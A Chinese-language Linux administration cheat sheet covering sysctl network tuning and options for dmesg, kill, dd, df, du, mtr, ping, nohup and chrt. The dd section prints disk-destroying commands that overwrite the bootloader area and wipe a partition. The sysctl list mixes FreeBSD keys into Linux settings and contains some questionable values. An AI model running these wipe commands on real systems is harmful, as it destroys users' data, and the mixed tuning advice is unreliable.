net.ipv4.tcp_window_scaling = 1
# Turn on the tcp_sack
net.ipv4.tcp_sack = 1
# tcp_fack should be on because of sack
net.ipv4.tcp_fack = 1
# Turn on the tcp_timestamps
net.ipv4.tcp_timestamps = 1
# Enable TCP SYN Cookie Protection
net.ipv4.tcp_syncookies = 1
# Enable ignoring broadcasts request
net.ipv4.icmp_echo_ignore_broadcasts = 1
# Enable bad error message Protection
net.ipv4.icmp_ignore_bogus_error_responses = 1
# make more local ports available
# net.ipv4.ip_local_port_range = 1024 65000
# Controls IP packet forwarding
# net.ipv4.ip_forward = 0
# set TCP Re-Ordering value in kernel to ‘5′
net.ipv4.tcp_reordering = 5
# Lower syn retry rates
net.ipv4.tcp_synack_retries = 2
net.ipv4.tcp_syn_retries = 3
# Set Max SYN Backlog to ‘2048′ 未完成连接队列大小
net.ipv4.tcp_max_syn_backlog = 2048
# Various Settings
# 进入包的最大设备队列.默认是300,对重负载服务器而言,可调整到1024.
net.core.netdev_max_backlog = 1024
# Increase the maximum number of skb-heads to be cached
net.core.hot_list_length = 256
# 开启SYN Cookies。当出现SYN等待队列溢出时,启用cookies来处理,可防范少量SYN攻击,默认为0,关闭;
net.ipv4.tcp_syncookies = 1
# 开启重用。允许将TIME-WAIT sockets重新用于新的TCP连接,默认为0,关闭;
net.ipv4.tcp_tw_reuse = 1
# 开启TCP连接中TIME-WAIT sockets的快速回收,默认为0,关闭。
net.ipv4.tcp_tw_recycle = 1
# 如果套接字由本端要求关闭,这个参数决定了它保持在FIN-WAIT-2状态的时间。
net.ipv4.tcp_fin_timeout = 30
# 用于提供tcp/udp连接的随机端口范围
net.ipv4.ip_local_port_range = 32768 61000
# 进入SYN包的最大请求队列的长度,默认为1024,加大队列长度为8192,可以容纳更多等待连接的网络连接数。
net.ipv4.tcp_max_syn_backlog = 8192
# Increase the tcp-time-wait buckets pool size
# 系统同时保持TIME_WAIT套接字的最大数量,避免Squid服务器被大量的TIME_WAIT套接字拖死。
# 如果超过这个数字,TIME_WAIT套接字将立刻被清除并打印警告信息。
# 对于Apache、Nginx等服务器,上几行的参数可以很好地减少TIME_WAIT套接字数量
# 对于Squid,默认为180000,改为 5000。
net.ipv4.tcp_max_tw_buckets = 5000
# This will increase the amount of memory available for socket input/output queues
net.core.rmem_default = 65535
# 最大socket读buffer
net.core.rmem_max = 8388608
# TCP读buffer
net.ipv4.tcp_rmem = 4096 87380 8388608
net.core.wmem_default = 65535
# 最大socket写buffer
net.core.wmem_max = 8388608
# TCP写buffer
net.ipv4.tcp_wmem = 4096 65535 8388608
# net.ipv4.tcp_mem[0]:低于此值,TCP没有内存压力.
# net.ipv4.tcp_mem[1]:在此值下,进入内存压力阶段.
# net.ipv4.tcp_mem[2]:高于此值,TCP拒绝分配socket.
# 上述内存单位是页,而不是字节
net.ipv4.tcp_mem = 8388608 8388608 8388608
# socket buffer的最大初始化值,默认10K.
net.core.optmem_max = 40960
# Disable ping requests
net.ipv4.icmp_echo_ignore_all = 1
# 最大的待发送TCP数据缓冲区空间
net.inet.tcp.sendspace = 65536
# 最大的接受TCP缓冲区空间
net.inet.tcp.recvspace = 65536
# 最大的接受UDP缓冲区大小
net.inet.udp.sendspace = 65535
# 最大的发送UDP数据缓冲区大小
net.inet.udp.maxdgram = 65535
# 本地套接字连接的数据发送空间
net.local.stream.sendspace = 65535
# 加快网络性能的协议
net.inet.tcp.rfc1323 = 1
net.inet.tcp.rfc1644 = 1
net.inet.tcp.rfc3042 = 1
net.inet.tcp.rfc3390 = 1
# 最大的套接字缓冲区
kern.ipc.maxsockbuf = 2097152
# 系统中允许的最多文件数量
kern.maxfiles = 65536
# 每个进程能够同时打开的最大文件数量
kern.maxfilesperproc=32768
# 当一台计算机发起TCP连接请求时,系统会回应ACK应答数据包。
# 该选项设置是否延迟ACK应答数据包,把它和包含数据的数据包一起发送,在高速网络和低负载的情况下会略微提高性能,
# 但在网络连接较差的时候,对方计算机得不到应答会持续发起连接请求,反而会降低性能
net.inet.tcp.delayed_ack=0
# 屏蔽ICMP重定向功能
net.inet.icmp.drop_redirect=1
net.inet.icmp.log_redirect=1
net.inet.ip.redirect=0
net.inet6.ip6.redirect=0
# 防止ICMP广播风暴
net.inet.icmp.bmcastecho=0
net.inet.icmp.maskrepl=0
# 限制系统发送ICMP速率
net.inet.icmp.icmplim=100
# 安全参数,编译内核的时候加了options TCP_DROP_SYNFIN才可以用
net.inet.icmp.icmplim_output=0
net.inet.tcp.drop_synfin=1
# 开启会帮助系统清除没有正常断开的TCP连接,这增加了一些网络带宽的使用,但是一些死掉的连接最终能被识别并清除。
# 死的TCP连接是被拨号用户存取的系统的一个特别的问题,因为用户经常断开modem而不正确的关闭活动的连接
net.inet.tcp.always_keepalive=1
# 若看到net.inet.ip.intr_queue_drops 这个在增加,就要调大net.inet.ip.intr_queue_maxlen,为0最好
# net.inet.ip.intr_queue_maxlen=1000
# 防止DOS攻击,默认为30000
net.inet.tcp.msl=7500
# 防止DOS攻击
net.inet.tcp.syncookies=1
# 接收到一个已经关闭的端口发来的所有包,直接drop,如果设置为1则是只针对TCP包
net.inet.tcp.blackhole=2
# 接收到一个已经关闭的端口发来的所有UDP包直接drop
net.inet.udp.blackhole=1
# 为网络数据连接时提供缓冲
net.inet.tcp.inflight.enable=1
# 如果打开的话每个目标地址一次转发成功以后它的数据都将被记录进路由表和arp数据表,
# 节约路由的计算时间,但会需要大量的内核内存空间来保存路由表
net.inet.ip.fastforwarding=0
# kernel编译打开options POLLING功能,高负载情况下使用低负载不推荐SMP不能和polling一起用
# kern.polling.enable=1
# 并发连接数,默认为128,推荐在1024-4096之间,数字越大占用内存也越大
# kern.ipc.somaxconn=32768
# 禁止用户查看其他用户的进程
# security.bsd.see_other_uids=0
# 设置kernel安全级别
# kern.securelevel=0
# 记录下任何TCP连接
# net.inet.tcp.log_in_vain=1
# 记录下任何UDP连接
# net.inet.udp.log_in_vain=1
# 防止不正确的udp包的攻击
# net.inet.udp.checksum=1
# 仅为线程提供物理内存支持,需要256兆以上内存
kern.ipc.shm_use_phys=1
# 程序崩溃时不记录
kern.coredump=0
# 本地数据流接收和发送空间
net.local.stream.recvspace=65536
net.local.dgram.maxdgram=16384
net.local.dgram.recvspace=65536
# 本地数据最大数量
net.inet.raw.maxdgram=65536
# 本地数据流接收空间
net.inet.raw.recvspace=65536
# 数据包数据段大小,ADSL为1452。
net.inet.tcp.mssdflt=1460
# 为网络数据连接时提供缓冲
net.inet.tcp.inflight_enable=1
# 数据包数据段最小值,ADSL为1452
net.inet.tcp.minmss=1460
# ipf防火墙动态规则数量,默认为4096,增大该值可以防止某些病毒发送大量TCP连接,导致不能建立正常连接
net.inet.ip.fw.dyn_max=65535
# 设置ipf防火墙TCP连接空闲保留时间,默认8640000(120小时)
net.inet.ipf.fr_tcpidletimeout=864000
# listen()的默认参数,挂起请求的最大数量,完成连接队列大小.默认是128.对繁忙的服务器,增加该值有助于网络性能.可调整到1024.
net.core.somaxconn=128
# 指定在底层IP接管之前TCP最少执行的重传次数,默认值是3
net.ipv4.tcp_retries1=3
# 指定连接放弃前TCP最多可以执行的重传次数,默认值15.可减少到5,以尽早释放内核资源.
net.ipv4.tcp_retries2=15
# 这3个参数与TCP KeepAlive有关.默认值是:
# 如果某个TCP连接在 idle 2个小时后,内核才发起 probe .如果 probe 9次(每次75秒)不成功,内核才彻底放弃,认为该连接已失效.
# net.ipv4.tcp_keepalive_time = 7200 seconds (2 hours)
# net.ipv4.tcp_keepalive_probes = 9
# net.ipv4.tcp_keepalive_intvl = 75 seconds
net.ipv4.tcp_keepalive_time = 1800
net.ipv4.tcp_keepalive_intvl = 30
net.ipv4.tcp_keepalive_probes = 3
dmesg
用于检查和控制内核的环形缓冲区。kernel会将开机信息存储在ring buffer中。您若是开机时来不及查看信息,可利用dmesg来查看。开机信息保存在/var/log/dmesg
文件里。
cat /var/log/dmesg 显示开机启动信息,缺少最后一次的信息
dmesg 显示开机启动信息
-c 显示信息后,清除ring buffer中的内容
-s <缓冲区大小> 预设置为8196,刚好等于ring buffer的大小
-n 设置记录信息的层级
Examples:
dmesg | grep IDE 查看启动时IDE设备检测状况
dmesg | tail -f 打印输出最近一次的信息
lscpu
lscpu:从sysfs和/proc/cpuinfo收集cpu体系结构信息。
命令的输出比较易读,命令输出的信息包含cpu数量,线程,核数,套接字等。
-a 打印在线和离线的CPU
-b 仅打印在线CPU
-c 仅打印离线CPU
free
free 不带参显示系统内存,包括空闲、已用、交换、缓冲、缓存和交换的内存总数。
通过解析文件 /proc/meminfo 收集
-b 以Byte显示内存使用情况
-k 以kb为单位显示内存使用情况
-m 以mb为单位显示内存使用情况
-g 以gb为单位显示内存使用情况
-s 持续显示内存
-t 显示内存使用总合
列 | 含义 |
---|---|
Mem | 内存的使用情况 |
Swap | 交换空间的使用情况 |
total | 系统总的可用物理内存和交换空间大小 |
used | 已经被使用的物理内存和交换空间 |
free | 还有多少物理内存和交换空间可用使用 |
shared | 被共享使用的物理内存大小 |
buff/cache | 被 buffer 和 cache 使用的物理内存大小 |
available | 还可以被应用程序使用的物理内存大小 |
uptime
uptime 获取主机运行时间和查询Linux系统负载等信息
-p 以漂亮的格式显示机器正常运行的时间
-s 系统自开始运行时间,格式为yyyy-mm-dd hh:mm:ss
w
w 显示已经登陆系统的用户列表,并显示用户正在执行的指令
-h/--no-header 不打印头信息
-u/--no-current 当显示当前进程和cpu时间时忽略用户名
-s/--short 使用短输出格式
-f/--from 显示用户从哪登录
-o/--old-style 老式输出
-i/--ip-addr 显示IP地址而不是主机名(如果可能)
kill
删除执行中的程序或工作,默认信号15,强制杀死信号9。
kill [options] [signal] PID
-l 列出系统支持的信号
-s 指定向进程发送的信号
-a 处理当前进程时不限制命令名和进程号的对应关系
-p 指定kill命令只打印相关进程的进程号,而不发送任何信号
[root@oldboyedu-lnb ~]# kill -l
1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL
5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE
9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2
13) SIGPIPE 14) SIGALRM 15) SIGTERM 16) SIGSTKFLT
17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP
21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU
25) SIGXFSZ 26) SIGVTALRM 27) SIGPROF 28) SIGWINCH
29) SIGIO 30) SIGPWR 31) SIGSYS 34) SIGRTMIN
35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3 38) SIGRTMIN+4
39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8
43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12
47) SIGRTMIN+13 48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14
51) SIGRTMAX-13 52) SIGRTMAX-12 53) SIGRTMAX-11 54) SIGRTMAX-10
55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7 58) SIGRTMAX-6
59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2
63) SIGRTMAX-1 64) SIGRTMAX
HUP 1 (挂断)控制终端或者控制进程死亡时向关联会话中的进程发出
对daemon充当reload,对普通进程就是杀掉。
INT 2 中断(同 Ctrl + C)
QUIT 3 退出(同 Ctrl + \)
TERM 15 终止
KILL 9 强制终止
CONT 18 继续(与STOP相反, fg/bg命令)
STOP 19 暂停(同 Ctrl + Z)
kill %n n为jobs显示的作业号
pkill
按照进程名杀死一组同名进程
pkill [options] [signal] 进程名
-o 仅向找到的最小(起始)进程号发送信号
-n 仅向找到的最大(结束)进程号发送信号
-P 指定父进程号发送信号
-g 指定进程组
-t 指定开启进程的终端
killall
使用进程名称杀死一组同名进程
yum -y install psmisc
Psmisc软件包包含三个帮助管理/proc目录的程序。
fuser 显示使用指定文件或者文件系统的进程的PID。
killall 杀死某个名字的进程,它向运行指定命令的所有进程发出信号。
pstree 树型显示当前运行的进程
killall [options] [signal] 进程名
-e 对长名称进行精确匹配
-l 打印所有已知信号列表
-p 杀死进程所属的进程组
-i 交互式杀死进程,杀死进程前需要进行确认
-q 如果没有进程被杀死。则不输出任何信息;
-r 使用正规表达式匹配要杀死的进程名称
-s 用指定的进程号代替默认信号“SIGTERM”
-u 杀死指定用户的进程
fuser
yum -y install psmisc
Psmisc软件包包含三个帮助管理/proc目录的程序。
fuser 显示使用指定文件或者文件系统的进程的PID。
killall 杀死某个名字的进程,它向运行指定命令的所有进程发出信号。
pstree 树型显示当前运行的进程
fuser [-Muvw] [-a|-s] [-4|-6] [-c|-m|-n SPACE] [-k [-i] [-SIGNAL]] NAME...
fuser -l 列出所有已知的信号名称。
-a 显示所有命令行中指定的文件,默认情况下被访问的文件才会被显示。
-c 和-m一样,用于POSIX兼容。
-k 杀掉访问文件的进程。如果没有指定-signal就会发送SIGKILL信号。
-i 杀掉进程之前询问用户。
-m NAME 指定一个挂载文件系统上的文件或者被挂载的块设备NAME。
这样所有访问这个文件或者文件系统的进程都会被列出来。
如果指定的是一个目录会自动转换成”NAME/”,并使用所有挂载在那个目录下面的文件系统。
-M NAME 仅当NAME是挂载点时完成请求
-n space 指定一个不同的命名空间(space).这里支持不同的空间文件(文件名,默认值)、tcp(本地tcp端口)、udp(本地udp端口)。
端口可以指定端口号或者名称,例如:NAME/space (即形如:80/tcp之类的表示)。
-s 静默模式,这时候-u,-v会被忽略。
-SIGNAL 使用指定的信号,而不是用SIGKILL来杀掉进程。可以通过名称或号码来表示信号(例如-HUP,-1)。
-u 在每个PID后面添加进程拥有者的用户名称。
-v 详细模式。输出似ps命令的输出,包含PID,USER,COMMAND等许多域,如果是内核访问的那么PID为kernel.
-w 只终止具有写访问权限的进程
-4 使用IPV4套接字,只在-n的tcp和udp的命名存在时不被忽略。
-6 使用IPV6套接字,只在-n的tcp和udp的命名存在时不被忽略。
- 重置所有的选项,把信号设置为SIGKILL.
fuser -v -n tcp 22 查看那些程序使用tcp的22端口
or
fuser -v 22/tcp
fuser -k -SIGHUP NAME 挂起进程,发送HUP信号
dd
复制文件并对原文件的内容进行转换和格式化处理。针对于块设备的拷贝和复制,用做块设备的备份。
dd if=file of=file [bs][count]
bs=BYTES read and write up to BYTES bytes at a time (same as ibs and obs)
cbs=BYTES convert BYTES bytes at a time (一次转化 BYTES 个 byte)
conv=CONVS 按照逗号分隔符号列表转换文件
count=N copy only N input blocks (blocks 块)
ibs=BYTES read up to BYTES bytes at a time (default: 512)
if=FILE 从文件而不是 stdin 读取
iflag=FLAGS 按逗号分隔符列表读取
obs=BYTES write BYTES bytes at a time (default: 512)
of=FILE 写入文件而不是 stdout
oflag=FLAGS 按逗号分隔符列表写入
seek=N 在输出开始时跳过N个obs大小的块
skip=N 在输入开始时跳过N个ibs大小的块
status=LEVEL 要打印到stderr的信息级别
CONVS=conversion[,conversion...]转换参数:
ascii 转换 EBCDIC 为 ASCII
ebcdic 转换 ASCII 为 EBCDIC
lcase 把大写字符转换为小写字符
ucase 把小写字符转换为大写字符
nocreat 不创建输出文件
noerror 出错时不停止
notrunc 不截断输出文件
sync 把每个输入块填充到ibs个字节,不足部分用空(NUL)字符补齐
Example:
备份MBR:
dd if=/dev/sda of=/tmp/mbr.bak bs=512 count=1
# 从哪取出数据 放到哪 占用1个block多少空间 总共使用多少个block
破坏MBR中的 bootloader:
dd if=/dev/zero of=/dev/sda bs=64 count=1 seek=446
大于2K的二进制文件fileA,从第64个字节位置开始读取,需要读取的大小是128Byts。
fileB, 把上面读取到的128Bytes写到第32个字节开始的位置,替换128Bytes:
dd if=fileA of=fileB bs=1 count=128 skip=63 seek=31 conv=notrunc
备份:
dd if=/dev/sdx of=/dev/sdy 将/dev/sdx整盘备份到/dev/sdy
dd if=/dev/sdx of=/path/to/image 将/dev/sdx全盘数据备份到指定路径的image文件
dd if=/dev/sdx | gzip >/path/to/image.gz 备份/dev/sdx全盘数据,压缩保存到指定路径
恢复:
dd if=/path/to/image of=/dev/sdx 将备份文件恢复到指定盘
gzip -dc /path/to/image.gz | dd of=/dev/sdx 将压缩的备份文件恢复到指定盘
dd if=/dev/mem of=/root/mem.bin bs=1024 将内存里的数据拷贝到root目录下的mem.bin文件
dd if=/dev/cdrom of=/root/cd.iso 拷贝光盘数据到root文件夹下,并保存为cd.iso文件
dd if=/dev/zero of=/root/1Gb.file bs=1024 count=100000 测试硬盘写速度
dd if=/root/1Gb.file bs=64k | dd of=/dev/null 测试硬盘读速度
dd if=/dev/sda of=/dev/sda 修复硬盘
销毁磁盘数据:
利用随机的数据填充硬盘,在某些必要的场合可以用来销毁数据,执行此操作以后,/dev/sda1将无法挂载,创建和拷贝操作无法执行
dd if=/dev/urandom of=/dev/sda1
创建大文件:
通过比较dd指令输出中所显示的命令执行时间,即可确定系统最佳的 block BYTES 大小
dd if=/dev/zero bs=1024 count=1000000 of=/root/1Gb.file
dd if=/dev/zero bs=2048 count=500000 of=/root/1Gb.file
dd if=/dev/zero bs=4096 count=250000 of=/root/1Gb.file
df
df 显示每个文件所在文件系统的信息
-a, --all 包含全部的文件系统
-B, --block-size=SIZE 以指定的 SIZE 大小来显示区块数目
--direct 显示文件而不是挂载点的统计信息
--total 产生一个总数
-h, --human-readable 以可读性较高的方式来显示信息(e.g., 1K 234M 2G)
-H, --si like -h, but use powers of 1000 not 1024
-i, --inodes 显示 inode 信息而非块使用量
-k = --block-size=1K
-l, --local 只显示本机的文件系统
--no-sync 在取得磁盘使用信息前,不要执行sync指令(默认)
-P, --portability 使用POSIX的输出格式
--sync 在取得磁盘使用信息前,先执行sync指令
-t, --type=TYPE 仅显示指定文件系统类型 TYPE 的磁盘信息
-T, --print-type 显示文件系统的类型
-x, --exclude-type=TYPE 不要显示指定文件系统类型 TYPE 的磁盘信息
df -h 查看硬盘分区、临时文件系统和devtmpfs文件系统使用情况
df -hT 查看硬盘分区、临时文件系统和devtmpfs文件系统使用情况及其文件类型
df -i 查看硬盘分区、临时文件系统和devtmpfs文件系统 inode 使用情况
getconf PAGESIZE 查看默认块大小
du
du 汇总每个文件的磁盘使用情况,对于目录递归
-0,--null 以0字节而不是换行符结束每个输出行
-a,--all 所有文件的写入计数,而不仅仅是目录
--apparent-size 打印明显的大小,而不是磁盘使用情况
-B,--block-size=SIZE 打印前设置 block-size 单位 SIZE
-b,--bytes equivalent to '--apparent-size --block-size=1'
-c,--total 产生一个总数
-D,-H,--dereference-args 显示指定符号链接的源文件大小,命令行上的
-d,--max-depth=N print the total for a directory (or file, with --all)
--files0-from=F 总结磁盘使用情况:文件 F 中指定的以NUL结尾的文件名;
if F is -, then read names from standard input
-h,--human-readable 以可读性较高的方式来显示信息(e.g., 1K 234M 2G)
--inodes 列出索引节点用法信息,而不是块用法
-k like --block-size=1K
-L,--dereference 显示指定符号链接的源文件大小
-l,--count-links 重复计算硬件链接的文件
-m like --block-size=1M
-P,--no-dereference 不显示指定符号链接的源文件大小 (this is the default)
-S,--separate-dirs 显示个别目录的大小时,并不含其子目录的大小
--si like -h, but use powers of 1000 not 1024
-s,--summarize 只显示每个参数的合计
-t,--threshold=SIZE 如果为正值,则排除小于大小的条目,如果为负数,则为大于大小的条目
--time 显示目录或其子目录中任何文件的最后修改时间
--time-style=STYLE 使用样式显示时间 like 'date'
-X,--exclude-from=FILE 排除与文件 FILE 中任何模式匹配的文件
--exclude=PATTERN 排除匹配 PATTERN 的文件
-x,--one-file-system 跳过不同文件系统上的目录
Example:
du -sh 查看所在目录的大小,以人类可读方式
du -m 查看文件大小,并以m为单位显示
du -d n 查看所在目录的大小,深入n层
mtr
- MTR(My traceroute)是几乎所有Linux发行版本预装的网络测试工具
- MTR工具将ping和traceroute命令的功能并入了同一个工具中,实现更强大的功能。
- Linux版本的mtr命令默认发送ICMP数据包进行链路探测。可以通过“-u”参数来指定使用UDP数据包用于探测。
- 相对于traceroute命令只会做一次链路跟踪测试,mtr命令会对链路上的相关节点做持续探测并给出相应的统计信息。所以,mtr命令能避免节点波动对测试结果的影响,所以其测试结果更正确,建议优先使用。
运行Mtr指定一个IP地址,Mtr会查看运行Mtr的主机和指定目标主机之间的网络节点。在确定目标主机和本地主机间每个网络节点的IP地址后,它向每个网络节点发送一个ICMP ECHO请求,以确定到每个节点的链路的质量。
通过发送有目的的低TTL的包。它继续以较低的TTL发送数据包,记录中间路由器。这允许MTR打印Internet路由的响应百分比和响应时间。
yum -y install mtr
mtr [-hvrwctglspniu46] [--help] [--version] [--report] [--report-wide]
[--report-cycles=COUNT] [--curses] [--gtk] [--raw] [--split] [--no-dns]
[--address interface] [--psize=bytes/-s bytes] [--interval=SECONDS] HOSTNAME
[PACKETSIZE]
-r, --report 以报告模式显示,默认动态的显示
-p, --split 将每次追踪的结果分别列出来。
-c 设置每秒发送数据包的数量,默认值是10
-n, --no-dns 不解析dns
-s, --psize 指定ping数据包的大小
-w, --report-wide 使用长版本的主机名,您可以看到每个跳的完整主机名
-a, -address 设置发送数据包的IP地址。用于主机有多个IP时。
-i 以更快的速率运行报告,以显示只能在网络拥塞期间发生的数据包丢失。默认1秒
-P 指定TCP端口
-4 只使用IPv4协议。
-6 只使用IPv6协议。
另外,也可以在mtr命令运行过程中,输入相应字母来快速切换模式。
d:切换显示模式。
n:切换启用或禁用DNS域名解析。
u:切换使用ICMP或UDP数据包进行探测
[root@localhost ~]# mtr -P 443 -i 0.5 -r www.baidu.com
Start: 2017-08-22T22:51:17+0800
HOST: PBSVVTRADER02 Loss% Snt Last Avg Best Wrst StDev
1.|-- 10.1.1.254 0.0% 10 0.7 0.7 0.7 0.8 0.0
2.|-- 10.1.253.22 0.0% 10 0.5 0.5 0.4 0.7 0.1
3.|-- 210.74.5.3 0.0% 10 1.1 1.1 0.8 1.3 0.2
4.|-- 10.244.246.13 0.0% 10 3.2 2.6 1.7 6.3 1.4
5.|-- 10.244.200.5 0.0% 10 2.0 3.7 1.7 19.2 5.4
6.|-- 10.244.253.1 0.0% 10 2.6 2.6 2.4 2.9 0.1
7.|-- 10.244.199.237 0.0% 10 3.4 3.3 3.0 3.7 0.2
8.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0
9.|-- 220.181.177.41 90.0% 10 98.6 98.6 98.6 98.6 0.0
10.|-- 220.181.0.46 80.0% 10 4.3 4.5 4.3 4.7 0.2
11.|-- 180.149.128.190 0.0% 10 7.1 13.8 5.8 63.9 17.9
12.|-- 180.149.129.54 0.0% 10 4.3 3.9 3.8 4.3 0.2
13.|-- 192.168.0.121 0.0% 10 4.2 4.1 4.0 4.3 0.1
14.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0
15.|-- 180.149.131.98 0.0% 10 4.0 3.8 3.5 4.1 0.2
返回结果中各数据列的说明:
第一列(Host):节点IP地址和域名。如前面所示,按n键可以切换显示。
第二列(Loss%):节点丢包率。
第三列(Snt):每秒发送数据包数。默认值是10,可以通过参数“-c”指定。
第四列(Last):最近一次的探测延迟值。
第五、六、七列(Avg、Best、Wrst):分别是探测延迟的平均值、最小值和最大值。
第八列(StDev):标准偏差。越大说明相应节点越不稳定。
ping
ping [options] [ hop ...] destination_host
-a 听得见的ping。这样就无需查看ping输出。
-A 自适应ping。数据包间隔会适应往返时间,非超级用户,最小间隔为200毫秒
-b 允许ping通广播地址。
-B 不允许ping更改探针的源地址。当ping开始时,该地址将绑定到所选的地址。
-c<完成次数> 设置完成要求回应的次数;
-d 使用Socket的SO_DEBUG功能;
-f 极限检测,以最快的速度输出数据包,或者每秒输出100次。
-i<间隔秒数> 指定收发信息的间隔时间;(default:1 seconds)
只有超级用户可以将等待时间设置为小于0.2秒的值。(与-f不兼容)
-I 接口地址 将源地址设置为指定的 interface address,参数可以是IP地址或设备名称。
-L 禁止多播数据包的环回。
-n 只输出数值
-p<范本样式> 设置填满数据包的范本样式,例如,“-p ff”将填充所有发送的数据包。
-q 安静的输出。不显示指令执行过程,开头和结尾的相关信息除外
-Q tos 设置ICMP数据报中与服务质量相关的位。
tos可以是十进制或十六进制数字。不应同时设置多个TOS位。
-R 记录路由(仅IPv4)在返回的数据包上显示路由缓冲区。最多9条
-r 绕过常规路由表,并直接发送到连接的网络上的主机。
如果主机不在直接连接的网络上,则返回错误。
此选项可用于通过没有路由的接口对本地主机执行ping操作
-s<数据包大小> 设置要发送的数据字节数。默认值为56
-S sndbuf 设置套接字sndbuf。如果未指定,则选择缓冲最多一个数据包。
-t<存活数值> 设置存活数值TTL的大小
-v 详细输出
-w ping退出之前的超时(以秒为单位),无论发送或接收了多少个数据包。
-W 超时
等待响应的时间(以秒为单位)。
在没有任何响应的情况下,此选项仅影响ICMP超时,否则ping将等待两个RTT。
nohup
忽略SIGHUP信号
nohup命令可以将程序以忽略挂起信号的方式运行起来,被运行的程序的输出信息将不会显示到终端。
nohup 命令运行由 Command参数和任何相关的Arg参数指定的命令,同时忽略所有的挂起 (SIGHUP) 信号,或者修改用 -p 选项指定的进程来忽略所有的挂起 (SIGHUP) 信号(关闭终端、注销用户等,但是注意 ctrl + c 不是挂起信号)。 nohup 命令还可以在注销后运行后台中的程序。要运行后台中的 nohup 命令,添加 &(表示“and”的符号)到命令的尾部。
无论是否将 nohup 命令的输出重定向到终端,输出都将附加到当前目录的 nohup.out 文件中。
如果当前目录的 nohup.out 文件不可写,输出重定向到$HOME/nohup.out
文件中。
如果没有文件能创建或打开以用于追加,那么 command 参数指定的命令不可调用。
如果标准错误是一个终端,那么把指定的命令写给标准错误的所有输出作为标准输出重定向到相同的文件描述符。
注: -p pid 和 Command 不能一起指定。
使用 -p pid 时,指定进程的输出将不会重定向到 nohup.out。
使用ctrl + c
nohup bash wwc.sh
会停止运行,但是 bash wwc.sh &
会正常运行;直接关闭终端 nohup bash wwc.sh
会正常运行,bash wwc.sh &
会停止;所以要 nohup 跟 & 结合使用。
nohup Command [ Arg ... ] [&]
-p pid
pid是正在运行的进程的进程id。nohup命令修改指定的进程,以忽略所有挂起(SIGHUP)信号。
要在注销后在后台运行命令,请输入:
nohup find / -print &
jobs
显示系统中的任务列表及其运行状态,包括后台运行的任务。
该命令可以显示任务号及其对应的进程号。其中,任务号是以普通用户的角度进行的,而进程号则是从系统管理员的角度来看的。一个任务可以对应于一个或者多个进程号。
在Linux系统中执行某些操作时候,有时需要将当前任务暂停调至后台,或有时须将后台暂停的任务重启开启并调至前台,这一序列的操作将会使用到 jobs、bg、和 fg 三个命令以及两个快捷键来完成
jobs [-lnprs] [jobspec ...]
jobs -x command [args] 将在 command 或 args 中找到的任何 jobspec 替换为相应的进程组ID,
并执行向其传递args的命令,返回其退出状态
-l 显示作业列表时包括进程号
-n 显示上次使用jobs后状态发生变化的作业
-p 显示作业列表时仅显示其对应的进程号
-r 仅显示运行的(running)作业
-s 仅显示暂停的(stopped)作业
bg
将前台作业放到后台运行。
该命令的运行效果与在指令后面添加符号&的效果是相同的,都是将其放到系统后台执行。
bg 指定需要放到后台的作业标识号
fg
将后台作业(在后台运行的或者在后台挂起的作业)放到前台终端运行。
与bg命令一样,若后台任务中只有一个,则使用该命令时,可以省略任务号
fg 指定需要放到后台的作业标识号
nice
以指定nice值启动其他的程序|命令
nice [参数] [命令]
-n 指定进程的优先级(整数 -20~19)(n可省略)
Example:
nice -n 19 tar zcf pack.tar.gz documents ; nice -19 tar zcf pack.tar.gz documents
nice -n -19 tar zcf pack.tar.gz documents ; nice --19 tar zcf pack.tar.gz documents
renice
修改正在运行的进程的优先级
该命令预设是以程序识别码指定程序调整其优先权,您亦可以指定程序群组或用户名称调整优先权等级,并修改所有隶属于该程序群组或用户的程序的优先权。
只有系统管理者可以改变其他用户程序的优先权,也仅有系统管理者可以设置负数等级。
renice [-n] <priority> [-p|--pid] <pid>...
-g|--pgrp <pgid>...
-u|--user <user>...
-n, --priority <num> 指定nice增量值,此参数为预设值(整数 -20~19)
-p<程序识别码> 改变程序的优先权等级,此参数为预设值
-g 指定进程组id
-u 指定开启进程的用户名
Example:
ps axo pid,ni,command | grep sshd # 显示进程优先级
renice -n 10 7018 ; renice 10 7018 # 设置PID 7018 进程的优先级
chrt
查看、设置一个进程的实时优先级状态,所有优先级值在0-99范围内的,都是实时进程,所以这个优先级范围也可以叫做实时进程优先级,而100-139范围内的是非实时进程。
Set policy:(policy 策略)
chrt [options] <priority> <command> [<arg>...]
chrt [options] --pid <priority> <pid>
Get policy:
chrt [options] -p <pid>
Policy options:
-b, --batch set policy to SCHED_BATCH
-d, --deadline set policy to SCHED_DEADLINE
-f, --fifo set policy to SCHED_FIFO
-i, --idle set policy to SCHED_IDLE
-o, --other set policy to SCHED_OTHER
-r, --rr set policy to SCHED_RR (default)
调度 options:
-R, --reset-on-fork set SCHED_RESET_ON_FORK for FIFO or RR
-T, --sched-runtime <ns> runtime parameter for DEADLINE
-P, --sched-period <ns> period parameter for DEADLINE
-D, --sched-deadline <ns> deadline parameter for DEADLINE
Other options:
-a, --all-tasks 对给定pid的所有任务(线程)进行操作
-m, --max 显示最小和最大有效优先级
-p, --pid 对现有的给定pid进行操作
-v, --verbose display status information
Example:
使用SCHED_IDLE解压缩内核源代码存档:
chrt -i o tar jxf linux-2.6.33.tar.bz2
指定目的进程的PID来更改调度策略:
chrt -p -r 99 1328
更改bash为实时进程,优先级为10:
chrt -f 10 bash
sleep
暂停数秒。
后缀可以是s秒(默认值),“m”代表分钟,“h”代表几个小时,“d”代表几天。
这里的数字可以是任意浮点数。给定两个或多个参数,由它们的值之和指定暂停时间段。
vtysh
yum -y install quagga
route
用来显示并设置linux内核中的网络路由表,route命令设置的路由主要是静态路由。
